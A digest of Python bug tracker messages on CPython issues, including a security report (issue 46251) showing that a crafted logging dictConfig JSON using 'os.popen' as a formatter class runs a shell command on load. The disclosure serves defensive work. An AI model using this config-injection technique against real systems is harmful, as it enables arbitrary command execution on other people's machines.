because it's a kind of Swiss army knife doing all sorts of things; what's `x*x`'s excuse? ;-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 14:29:24 2022 From: report at bugs.python.org (Kevin) Date: Mon, 03 Jan 2022 19:29:24 +0000 Subject: [issue43122] Python Launcher doesn't open a terminal window In-Reply-To: <1641193169.4.0.805826315583.issue43122@roundup.psfhosted.org> Message-ID: <66B86887-657B-4DEC-9245-1287826F4A00@oberlin.net> Kevin added the comment: Many thanks for notifying me that my issue is fixed in the latest updates. I will try to test this soon. Kevin Weidenbaum > On Jan 3, 2022, at 1:59 AM, Ned Deily wrote: > > > Change by Ned Deily : > > > ---------- > Removed message: https://bugs.python.org/msg409563 > > _______________________________________ > Python tracker > > _______________________________________ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 14:36:05 2022 From: report at bugs.python.org (Sandip Shah) Date: Mon, 03 Jan 2022 19:36:05 +0000 Subject: [issue46248] Compilation errors on macOS Message-ID: <1641238565.78.0.970913311215.issue46248@roundup.psfhosted.org> New submission from Sandip Shah : macOS Monterey 12.1 Python 3.10.1 Trying to compile libplist, libimobiledevice, libimobiledevice_glue generates the error "Could not link test program to Python. Maybe the main Python library has been installed in some non-standard library path. If so, pass it to configure, via the LDFLAGS environment variable." The fix is change the following lines (570-571) in /Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/_sysconfigdata__darwin_darwin.py from: 'LINKFORSHARED': '-Wl,-stack_size,1000000 -framework CoreFoundation ' 'Python.framework/Versions/3.10/Python', to: 'LINKFORSHARED': '-Wl,-stack_size,1000000 -framework CoreFoundation ' '/Library/Frameworks/Python.framework/Versions/3.10/Python', Also, change the following line (110) in /Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/config-3.10-darwin from: LINKFORSHARED= -Wl,-stack_size,1000000 -framework CoreFoundation $(PYTHONFRAMEWORKDIR)/Versions/$(VERSION)/$(PYTHONFRAMEWORK) to: LINKFORSHARED= -Wl,-stack_size,1000000 -framework CoreFoundation $(PYTHONFRAMEWORKINSTALLDIR)/Versions/$(VERSION)/$(PYTHONFRAMEWORK) It seems the problem got created from - https://bugs.python.org/issue15298 - and most likely it exists in all the versions of Python (it exists in the native Python 2.7.18 that comes with macOS too. Thanks. ---------- components: macOS messages: 409611 nosy: ned.deily, ronaldoussoren, sandipshah priority: normal severity: normal status: open title: Compilation errors on macOS type: compile error versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 14:41:44 2022 From: report at bugs.python.org (Brandt Bucher) Date: Mon, 03 Jan 2022 19:41:44 +0000 Subject: [issue46009] sending non-None values makes generator raise StopIteration on next access In-Reply-To: <1638914009.53.0.916939757704.issue46009@roundup.psfhosted.org> Message-ID: <1641238904.51.0.323899129429.issue46009@roundup.psfhosted.org> Change by Brandt Bucher : ---------- nosy: +brandtbucher nosy_count: 3.0 -> 4.0 pull_requests: +28580 pull_request: https://github.com/python/cpython/pull/30367 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 14:52:55 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 Jan 2022 19:52:55 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641239575.74.0.412084821172.issue46110@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: https://speed.python.org/timeline/#/?exe=12&ben=python_startup&env=4&revs=50&equid=off&quarts=on&extr=on also doesn't show any difference with the revert ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 14:54:14 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 Jan 2022 19:54:14 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641239654.08.0.652487345687.issue46110@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset dd6c35761a4cd417e126a2d51dd0b89c8a30e5de by Pablo Galindo Salgado in branch 'main': bpo-46110: Restore commit e9898bf153d26059261ffef11f7643ae991e2a4c https://github.com/python/cpython/commit/dd6c35761a4cd417e126a2d51dd0b89c8a30e5de ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 15:03:08 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 03 Jan 2022 20:03:08 +0000 Subject: [issue33376] [pysqlite] Duplicate rows can be returned after rolling back a transaction In-Reply-To: <1524874511.54.0.682650639539.issue33376@psf.upfronthosting.co.za> Message-ID: <1641240188.28.0.135694588683.issue33376@roundup.psfhosted.org> Erlend E. Aasland added the comment: GH-26026 / bpo-44092 has removed the old workaround where pending statements were reset before a rollback. Since version 3.7.11, SQLite no longer has any issues with pending statements and rollbacks, so we remove the workaround, since we require SQLite 3.7.15 or newer in CPython. As a side effect, pysqlite_do_all_statements() has now been removed, as it is unused code. Following GH-26026, this issue is no longer an issue; I close it as fixed. Ma Lin: if you have problems with the LRU cache, please open a new issue. ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 15:03:46 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 03 Jan 2022 20:03:46 +0000 Subject: [issue33376] [pysqlite] Duplicate rows can be returned after rolling back a transaction In-Reply-To: <1524874511.54.0.682650639539.issue33376@psf.upfronthosting.co.za> Message-ID: <1641240226.35.0.0914707144167.issue33376@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: -12242 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 15:10:18 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 03 Jan 2022 20:10:18 +0000 Subject: [issue34931] os.path.splitext with more dots In-Reply-To: <1539000361.1.0.545547206417.issue34931@psf.upfronthosting.co.za> Message-ID: <1641240618.47.0.630858987.issue34931@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 51700bf08b0dd4baf998440b2ebfaa488a2855ba by Irit Katriel in branch 'main': bpo-34931: [doc] clarify behavior of os.path.splitext() on paths with multiple leading periods (GH-30347) https://github.com/python/cpython/commit/51700bf08b0dd4baf998440b2ebfaa488a2855ba ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 15:10:32 2022 From: report at bugs.python.org (miss-islington) Date: Mon, 03 Jan 2022 20:10:32 +0000 Subject: [issue34931] os.path.splitext with more dots In-Reply-To: <1539000361.1.0.545547206417.issue34931@psf.upfronthosting.co.za> Message-ID: <1641240632.64.0.546690827827.issue34931@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 8.0 -> 9.0 pull_requests: +28581 pull_request: https://github.com/python/cpython/pull/30368 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 15:10:37 2022 From: report at bugs.python.org (miss-islington) Date: Mon, 03 Jan 2022 20:10:37 +0000 Subject: [issue34931] os.path.splitext with more dots In-Reply-To: <1539000361.1.0.545547206417.issue34931@psf.upfronthosting.co.za> Message-ID: <1641240637.4.0.905138141417.issue34931@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28582 pull_request: https://github.com/python/cpython/pull/30369 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 15:26:26 2022 From: report at bugs.python.org (Ned Deily) Date: Mon, 03 Jan 2022 20:26:26 +0000 Subject: [issue46248] Compilation errors on macOS In-Reply-To: <1641238565.78.0.970913311215.issue46248@roundup.psfhosted.org> Message-ID: <1641241586.03.0.941056270826.issue46248@roundup.psfhosted.org> Ned Deily added the comment: Thanks for the report. Without more details, we can only guess at what you are trying to accomplish. I would assume it involves embedding Python in another library or application. If so, you should not be using LINKFORSHARED at all which is used to build Python itself (see, for example, Issue36508). Moreover, when embedding on macOS, we do not recommend trying to use the -framework argument to compile with or link to Python: it's too easy to get wrong. Instead, as shown in the use the "Extending and Embedding the Python Interpreter" section of the docset, use the output from the appropriate python3.x-config command, for example: $ python3.10-config --cflags -I/Library/Frameworks/Python.framework/Versions/3.10.1_11/include/python3.10 -I/Library/Frameworks/Python.framework/Versions/3.10.1_11/include/python3.10 -Wno-unused-result -Wsign-compare -Wunreachable-code -fno-common -dynamic -DNDEBUG -g -fwrapv -O3 -Wall -arch arm64 -arch x86_64 -g $ python3.10-config --ldflags -L/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/config-3.10-darwin -ldl -framework CoreFoundation https://docs.python.org/3/extending/embedding.html#compiling-and-linking-under-unix-like-systems ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 15:36:49 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 03 Jan 2022 20:36:49 +0000 Subject: [issue34931] os.path.splitext with more dots In-Reply-To: <1539000361.1.0.545547206417.issue34931@psf.upfronthosting.co.za> Message-ID: <1641242209.61.0.524862790496.issue34931@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 8184a613b93d54416b954e667951cdf3d069cc13 by Miss Islington (bot) in branch '3.10': bpo-34931: [doc] clarify behavior of os.path.splitext() on paths with multiple leading periods (GH-30347) (GH-30368) https://github.com/python/cpython/commit/8184a613b93d54416b954e667951cdf3d069cc13 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 15:39:12 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 03 Jan 2022 20:39:12 +0000 Subject: [issue34931] os.path.splitext with more dots In-Reply-To: <1539000361.1.0.545547206417.issue34931@psf.upfronthosting.co.za> Message-ID: <1641242352.18.0.660676802253.issue34931@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 4a792ca95c1a994b07d18fe06e2104d5b1e0b796 by Miss Islington (bot) in branch '3.9': bpo-34931: [doc] clarify behavior of os.path.splitext() on paths with multiple leading periods (GH-30347) (GH-30369) https://github.com/python/cpython/commit/4a792ca95c1a994b07d18fe06e2104d5b1e0b796 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 15:40:02 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 03 Jan 2022 20:40:02 +0000 Subject: [issue34931] os.path.splitext with more dots In-Reply-To: <1539000361.1.0.545547206417.issue34931@psf.upfronthosting.co.za> Message-ID: <1641242402.63.0.643616063393.issue34931@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 15:44:20 2022 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Mon, 03 Jan 2022 20:44:20 +0000 Subject: [issue46033] Duplicated sentence in for statement documentation In-Reply-To: <1639132962.13.0.2847255275.issue46033@roundup.psfhosted.org> Message-ID: <1641242660.28.0.353952352135.issue46033@roundup.psfhosted.org> Vedran ?a?i? added the comment: Yes, it's ok. The only slight problem is that is suggests that first item is somehow special, but later it is explained that in fact it is not. :-) I would say "_Each_ item ..." (instead of "First") and without the "this is repeated for every item..." at the end, but as I said, this is also fine. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 16:14:27 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 03 Jan 2022 21:14:27 +0000 Subject: [issue46249] [sqlite3] move set lastrowid out of the query loop Message-ID: <1641244467.23.0.820858977306.issue46249@roundup.psfhosted.org> New submission from Erlend E. Aasland : The query loop in _pysqlite_query_execute() is run only once for ordinary execute()'s, but multiple times for executemany(). We use the 'multiple' variable to differ between the two execute methods; for execute(), multiple is false, for executemany(), multiple is true. At the end of the loop, the 'lastrowid' connection attribute is set, if multiple is false. We can safely move this part out of the loop; it is irrelevant for executemany(), and it will only be run once for execute(). ---------- assignee: erlendaasland components: Extension Modules messages: 409620 nosy: erlendaasland priority: normal severity: normal status: open title: [sqlite3] move set lastrowid out of the query loop type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 16:15:49 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 03 Jan 2022 21:15:49 +0000 Subject: [issue46249] [sqlite3] move set lastrowid out of the query loop In-Reply-To: <1641244467.23.0.820858977306.issue46249@roundup.psfhosted.org> Message-ID: <1641244549.79.0.417175696674.issue46249@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- keywords: +patch pull_requests: +28583 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30371 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 16:36:38 2022 From: report at bugs.python.org (VanjaVK) Date: Mon, 03 Jan 2022 21:36:38 +0000 Subject: [issue46250] 3.10 docs responsive design removes navigation buttons (next, previous ...) on narrow screens for no reason Message-ID: <1641245798.06.0.50879853581.issue46250@roundup.psfhosted.org> New submission from VanjaVK : This kind of responsive design makes it hard to navigate to next or previous section easily. I don't see any UX gain having a fullscreen wide search with a hamburger-style menu. I also believe this is very unfriendly towards disabled people. Better explained in the picture provided: https://i.imgur.com/nYdSM5H.png ---------- assignee: docs at python components: Documentation files: pythondocs.png messages: 409621 nosy: docs at python, vkvanjavk priority: normal severity: normal status: open title: 3.10 docs responsive design removes navigation buttons (next, previous ...) on narrow screens for no reason type: enhancement versions: Python 3.10 Added file: https://bugs.python.org/file50539/pythondocs.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 16:39:28 2022 From: report at bugs.python.org (Alex Waygood) Date: Mon, 03 Jan 2022 21:39:28 +0000 Subject: [issue46246] importlib.metadata.DeprecatedList appears to be missing __slots__ In-Reply-To: <1641235148.56.0.272435496464.issue46246@roundup.psfhosted.org> Message-ID: <1641245968.69.0.696929457087.issue46246@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +jaraco _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 16:53:03 2022 From: report at bugs.python.org (Jan Novak) Date: Mon, 03 Jan 2022 21:53:03 +0000 Subject: [issue34931] os.path.splitext with more dots In-Reply-To: <1539000361.1.0.545547206417.issue34931@psf.upfronthosting.co.za> Message-ID: <1641246783.75.0.618975267472.issue34931@roundup.psfhosted.org> Jan Novak added the comment: Thank you all for discussion and partial solution in latest Python versions and extending documentation. For the future development of Python the initial question remains. How to easy detect extensions for each file with standard python library function. Without programing own function to fix it. Filenames with more dots could exist both in Unix and Windows worlds. Nobody can't say (for example web app users). Please not use those files. Python 3.10.1 Works fine: >>> os.path.splitext('.some.jpg') ('.some', '.jpg') >>> os.path.splitext('..some.jpg') ('..some', '.jpg') Not usable: >>> os.path.splitext('....jpg') ('....jpg', '') There are some possible ways: - new parametr - new function - change backward compatibility - stay buggy forever Thank you ---------- status: closed -> open versions: +Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 16:54:24 2022 From: report at bugs.python.org (Brandt Bucher) Date: Mon, 03 Jan 2022 21:54:24 +0000 Subject: [issue45256] Remove the usage of the C stack in Python to Python calls In-Reply-To: <1632220919.85.0.309558064668.issue45256@roundup.psfhosted.org> Message-ID: <1641246864.27.0.467493457584.issue45256@roundup.psfhosted.org> Change by Brandt Bucher : ---------- nosy: +brandtbucher nosy_count: 10.0 -> 11.0 pull_requests: +28584 pull_request: https://github.com/python/cpython/pull/30372 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 17:15:10 2022 From: report at bugs.python.org (MarkBaggett) Date: Mon, 03 Jan 2022 22:15:10 +0000 Subject: [issue46251] logger.config.configure_formatter executes arbitrary code Message-ID: <1641248110.54.0.752707951983.issue46251@roundup.psfhosted.org> New submission from MarkBaggett : I know there are multiple warnings about the use of eval() in the listener. But _resolve() and resolve() used by both fileConfig and dictConfig also seem like they can also be abused. Here is a working example. $ ls /tmp/itworked ls: cannot access '/tmp/itworked': No such file or directory $ cat log.config { "version":1, "formatters":{ "EXPLOIT":{ "class": "os.popen", "format": "touch /tmp/itworked", "datefmt": "r", "style": 1 } } } $ python calculator.py /usr/lib/python3.8/subprocess.py:848: RuntimeWarning: line buffering (buffering=1) isn't supported in binary mode, the default buffer size will be used self.stdout = io.open(c2pread, 'rb', bufsize) WARNING:calculator.support_functions:Internet Confirmed. WARNING:calculator.support_functions:Adder object exported! WARNING:calculator.support_functions.adder:Set initial value to 0 WARNING:calculator:The result is 15 $ ls /tmp/itworked /tmp/itworked I could probably clean up that error message if I took 2 minute to refresh my os.popen knowledge, but I think you get the point. Are you aware of this issue? Thanks for all you to on this import module! ---------- messages: 409623 nosy: MarkBaggett priority: normal severity: normal status: open title: logger.config.configure_formatter executes arbitrary code type: security versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 17:20:09 2022 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 03 Jan 2022 22:20:09 +0000 Subject: [issue46251] logger.config.configure_formatter executes arbitrary code In-Reply-To: <1641248110.54.0.752707951983.issue46251@roundup.psfhosted.org> Message-ID: <1641248409.86.0.135163982124.issue46251@roundup.psfhosted.org> Eric V. Smith added the comment: What are the contents of calculator.py? ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 17:25:37 2022 From: report at bugs.python.org (Jan Novak) Date: Mon, 03 Jan 2022 22:25:37 +0000 Subject: [issue34931] os.path.splitext with more dots In-Reply-To: <1539000361.1.0.545547206417.issue34931@psf.upfronthosting.co.za> Message-ID: <1641248737.24.0.406898848446.issue34931@roundup.psfhosted.org> Jan Novak added the comment: It is interesting that pathlib.Path works fine: >>> pathlib.Path('....jpg').suffix '.jpg' >>> pathlib.Path('path/....jpg').suffix '.jpg' ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 17:26:08 2022 From: report at bugs.python.org (MarkBaggett) Date: Mon, 03 Jan 2022 22:26:08 +0000 Subject: [issue46251] logger.config.configure_formatter executes arbitrary code In-Reply-To: <1641248110.54.0.752707951983.issue46251@roundup.psfhosted.org> Message-ID: <1641248768.27.0.0221255173138.issue46251@roundup.psfhosted.org> MarkBaggett added the comment: Here are the relevant parts of calculator.py.. import logging import logging.config import json import pathlib import os config_location = pathlib.Path( os.path.realpath(__file__) ).parent / "log.config" log_config = json.load( config_location.open() ) logging.config.dictConfig(log_config) logger = logging.getLogger("calculator") ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 17:32:00 2022 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 03 Jan 2022 22:32:00 +0000 Subject: [issue46251] logger.config.configure_formatter executes arbitrary code In-Reply-To: <1641248110.54.0.752707951983.issue46251@roundup.psfhosted.org> Message-ID: <1641249120.62.0.970860374123.issue46251@roundup.psfhosted.org> Eric V. Smith added the comment: Thanks. Here's a somewhat smaller, one-file version, that writes to the current directory (I'm on Windows, no /tmp): --------------------- import logging import logging.config import json log_config_txt = '''{ "version":1, "formatters":{ "EXPLOIT":{ "class": "os.popen", "format": "touch itworked", "datefmt": "r", "style": 1 } } } ''' log_config = json.loads(log_config_txt) logging.config.dictConfig(log_config) logger = logging.getLogger("calculator") --------------------- ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 17:45:40 2022 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 03 Jan 2022 22:45:40 +0000 Subject: [issue46251] logger.config.configure_formatter executes arbitrary code In-Reply-To: <1641248110.54.0.752707951983.issue46251@roundup.psfhosted.org> Message-ID: <1641249940.93.0.22918391741.issue46251@roundup.psfhosted.org> Eric V. Smith added the comment: Actually, the last line isn't necessary. ------------ import logging.config import json log_config_txt = '''{ "version":1, "formatters":{ "EXPLOIT":{ "class": "os.popen", "format": "touch itworked", "datefmt": "r", "style": 1 } } } ''' log_config = json.loads(log_config_txt) logging.config.dictConfig(log_config) ------------ I suspect the answer to this will be: "don't load untrusted configuration files". But I'll see what others have to say. There should probably be a warning about it somewhere. I didn't see anything. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 17:49:34 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 03 Jan 2022 22:49:34 +0000 Subject: [issue34538] Remove encouragement to author a base class for all Exception subclasses in a module In-Reply-To: <1535488851.13.0.56676864532.issue34538@psf.upfronthosting.co.za> Message-ID: <1641250174.68.0.370645389529.issue34538@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.11 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 17:52:17 2022 From: report at bugs.python.org (miss-islington) Date: Mon, 03 Jan 2022 22:52:17 +0000 Subject: [issue34538] Remove encouragement to author a base class for all Exception subclasses in a module In-Reply-To: <1535488851.13.0.56676864532.issue34538@psf.upfronthosting.co.za> Message-ID: <1641250337.13.0.38385472081.issue34538@roundup.psfhosted.org> miss-islington added the comment: New changeset 2db56130631255ca2eb504519430fb2f1fe789e9 by Hugo van Kemenade in branch 'main': bpo-34538: Remove Exception subclassing from tutorial (GH-30361) https://github.com/python/cpython/commit/2db56130631255ca2eb504519430fb2f1fe789e9 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 17:52:18 2022 From: report at bugs.python.org (miss-islington) Date: Mon, 03 Jan 2022 22:52:18 +0000 Subject: [issue34538] Remove encouragement to author a base class for all Exception subclasses in a module In-Reply-To: <1535488851.13.0.56676864532.issue34538@psf.upfronthosting.co.za> Message-ID: <1641250338.03.0.701977796218.issue34538@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28585 pull_request: https://github.com/python/cpython/pull/30374 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 17:52:22 2022 From: report at bugs.python.org (miss-islington) Date: Mon, 03 Jan 2022 22:52:22 +0000 Subject: [issue34538] Remove encouragement to author a base class for all Exception subclasses in a module In-Reply-To: <1535488851.13.0.56676864532.issue34538@psf.upfronthosting.co.za> Message-ID: <1641250342.25.0.513155081779.issue34538@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28586 pull_request: https://github.com/python/cpython/pull/30375 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 17:57:33 2022 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Mon, 03 Jan 2022 22:57:33 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641250653.34.0.168858492544.issue46110@roundup.psfhosted.org> ?ukasz Langa added the comment: I ran all benchmarks on installed optimized framework builds of 3.9 with the change (-a) and with the revert (-revert). It shows no change: ? ./python3.9 -m pyperf compare_to /Volumes/RAMDisk/py39* 2to3: Mean +- std dev: [py39-a] 724 ms +- 6 ms -> [py39-revert] 722 ms +- 2 ms: 1.00x faster fannkuch: Mean +- std dev: [py39-a] 1.26 sec +- 0.00 sec -> [py39-revert] 1.26 sec +- 0.00 sec: 1.00x faster float: Mean +- std dev: [py39-a] 320 ms +- 3 ms -> [py39-revert] 319 ms +- 1 ms: 1.00x faster go: Mean +- std dev: [py39-a] 726 ms +- 6 ms -> [py39-revert] 718 ms +- 4 ms: 1.01x faster hexiom: Mean +- std dev: [py39-a] 28.3 ms +- 0.3 ms -> [py39-revert] 28.1 ms +- 0.3 ms: 1.00x faster logging_format: Mean +- std dev: [py39-a] 22.5 us +- 0.3 us -> [py39-revert] 22.4 us +- 0.2 us: 1.00x faster nqueens: Mean +- std dev: [py39-a] 274 ms +- 2 ms -> [py39-revert] 273 ms +- 2 ms: 1.00x faster pickle_dict: Mean +- std dev: [py39-a] 57.4 us +- 0.6 us -> [py39-revert] 57.1 us +- 0.7 us: 1.01x faster pickle_pure_python: Mean +- std dev: [py39-a] 1.32 ms +- 0.02 ms -> [py39-revert] 1.31 ms +- 0.02 ms: 1.01x faster pidigits: Mean +- std dev: [py39-a] 619 ms +- 0 ms -> [py39-revert] 614 ms +- 0 ms: 1.01x faster pyflate: Mean +- std dev: [py39-a] 2.02 sec +- 0.02 sec -> [py39-revert] 2.00 sec +- 0.01 sec: 1.01x faster python_startup: Mean +- std dev: [py39-a] 26.3 ms +- 0.1 ms -> [py39-revert] 26.3 ms +- 0.1 ms: 1.00x slower regex_dna: Mean +- std dev: [py39-a] 255 ms +- 2 ms -> [py39-revert] 250 ms +- 1 ms: 1.02x faster regex_effbot: Mean +- std dev: [py39-a] 6.23 ms +- 0.04 ms -> [py39-revert] 6.18 ms +- 0.01 ms: 1.01x faster regex_v8: Mean +- std dev: [py39-a] 43.5 ms +- 0.4 ms -> [py39-revert] 43.3 ms +- 0.1 ms: 1.01x faster richards: Mean +- std dev: [py39-a] 228 ms +- 3 ms -> [py39-revert] 226 ms +- 3 ms: 1.01x faster spectral_norm: Mean +- std dev: [py39-a] 430 ms +- 4 ms -> [py39-revert] 429 ms +- 3 ms: 1.00x faster sympy_expand: Mean +- std dev: [py39-a] 1.25 sec +- 0.01 sec -> [py39-revert] 1.25 sec +- 0.01 sec: 1.00x slower sympy_str: Mean +- std dev: [py39-a] 733 ms +- 7 ms -> [py39-revert] 729 ms +- 6 ms: 1.01x faster telco: Mean +- std dev: [py39-a] 16.6 ms +- 0.2 ms -> [py39-revert] 16.5 ms +- 0.1 ms: 1.01x faster unpack_sequence: Mean +- std dev: [py39-a] 238 ns +- 3 ns -> [py39-revert] 236 ns +- 2 ns: 1.01x faster unpickle: Mean +- std dev: [py39-a] 41.3 us +- 0.5 us -> [py39-revert] 41.1 us +- 0.5 us: 1.01x faster unpickle_list: Mean +- std dev: [py39-a] 12.5 us +- 0.1 us -> [py39-revert] 12.5 us +- 0.1 us: 1.01x slower Benchmark hidden because not significant (35): chameleon, chaos, crypto_pyaes, deltablue, django_template, dulwich_log, json_dumps, json_loads, logging_silent, logging_simple, mako, meteor_contest, nbody, pathlib, pickle, pickle_list, python_startup_no_site, raytrace, regex_compile, scimark_fft, scimark_lu, scimark_monte_carlo, scimark_sor, scimark_sparse_mat_mult, sqlalchemy_declarative, sqlalchemy_imperative, sqlite_synth, sympy_integrate, sympy_sum, tornado_http, unpickle_pure_python, xml_etree_parse, xml_etree_iterparse, xml_etree_generate, xml_etree_process Geometric mean: 1.00x faster ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 17:58:06 2022 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Mon, 03 Jan 2022 22:58:06 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641250686.43.0.949738931776.issue46110@roundup.psfhosted.org> ?ukasz Langa added the comment: (that's on M1 Macbook Pro on macOS Monterey) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 17:58:37 2022 From: report at bugs.python.org (MarkBaggett) Date: Mon, 03 Jan 2022 22:58:37 +0000 Subject: [issue46251] logger.config.configure_formatter executes arbitrary code In-Reply-To: <1641248110.54.0.752707951983.issue46251@roundup.psfhosted.org> Message-ID: <1641250717.75.0.216433209948.issue46251@roundup.psfhosted.org> MarkBaggett added the comment: "Dont load untrusted config files" is the answer I expected. It the only safe answer really. But is there really a mechanism to provide trust of an external config file other that file permissions? It doesn't seem like hmac or digital signatures work because you have to provide a mechanism to resign it every time they change a config. So an attacker could just resign after adding the exploit. Maybe file permissions is all we have. Is it reasonable to say that all classes by _resolve() and resolve() should have "logger." at the top of them? If not perhaps the object could have a permitted list of top level packages that defaults to just "logger." but could be extended to others by the developer. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 18:01:37 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 03 Jan 2022 23:01:37 +0000 Subject: [issue44092] [sqlite3] Remove special rollback handling In-Reply-To: <1620596162.31.0.000417990177807.issue44092@roundup.psfhosted.org> Message-ID: <1641250897.05.0.0352361112827.issue44092@roundup.psfhosted.org> Erlend E. Aasland added the comment: Reopening; there's some clean-up left. After GH-26026, the `reset` member of `pysqlite_Cursor` is now unused. We can remove it and all related code. PR coming. ---------- resolution: fixed -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 18:06:59 2022 From: report at bugs.python.org (Tim Peters) Date: Mon, 03 Jan 2022 23:06:59 +0000 Subject: [issue46187] Optionally support rounding for math.isqrt() In-Reply-To: <1640633399.46.0.8152811809.issue46187@roundup.psfhosted.org> Message-ID: <1641251219.7.0.589523437718.issue46187@roundup.psfhosted.org> Tim Peters added the comment: I've made several good-faith efforts to find any hint of demand for rounded isqrt on the web; I've found no direct support for it in other languages/environments(*); and the one use case you presented isn't compelling. Building static tables to help implement extended precision functions via scaled integer arithmetic is quite niche, and anyone numerically knowledgeable enough to pull that off will have no trouble figuring out how to roll their own isqrt rounding. For them, isqrtrem would make it dead easy. Close to no demonstrated demand, and no demonstrated prior art, coupled with slowing down _every_ isqrt() call to cater to an overwhelmingly unused possibility (and, to boot, via the slowest possible way of specifying an option, on what should be a fast function), leaves me -1. No, I'm not a fan of the "big"/"little" mandatory arguments to int.{from,to}_bytes() either. +0 on isqrtrem, though, because it follows established practice in a related context (mpz), and also offers efficient support for the related use case I actually found some (albeit small) demand for ("and was it a perfect square?"). (*) Other languages with an integer square root include Common Lisp, Julia, and Maple's programming language. None have an option for rounding. Maple's doesn't define the rounding used, other than to promise the result is less than 1 away from the infinitely precise result. Common Lisp and Julia return the floor. 